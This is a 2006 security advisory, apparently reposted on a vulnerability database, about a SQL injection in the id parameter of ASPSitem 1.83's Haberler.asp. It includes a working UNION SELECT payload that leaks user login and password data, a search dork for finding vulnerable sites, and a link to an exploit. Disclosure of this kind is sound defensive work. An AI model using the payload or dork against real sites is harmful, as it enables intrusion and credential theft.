ASPSitem <= 1.83 Remote SQL Injection Vulnerability

2006.04.20
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

--Security Report-- Advisory: ASPSitem <= 1.83 Remote SQL Injection Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 19/04/06 19:33 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com [email concealed] Web: http://www.nukedx.com } --- Vendor: ASPSitem (http://www.aspsitem.com) Version: 1.83 and prior versions must be affected. About: Via this method remote attacker can inject arbitrary SQL queries to id parameter in Haberler.asp Level: Critical Solution: Upgrade your ASPSitem version to 2.0 --- How&Example: GET -> http://[victim]/[ASPSitemDir]/Haberler.asp?haber=devam&id=[SQL] EXAMPLE -> http://[victim]/[ASPSitemDir]/Haberler.asp?haber=devam&id=-1%20UNION%20S ELECT%20cevap,id,0,kulladi,sifre, kayittarih,email%20FROM%20uyeler%20where%20id%20like%201 with this example remote attacker can leak userid 1's login information from database. --- Timeline: * 19/04/2006: Vulnerability found. * 19/04/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=23 --- Dorks: "Te?ekkr ASPSitem" --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=23


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top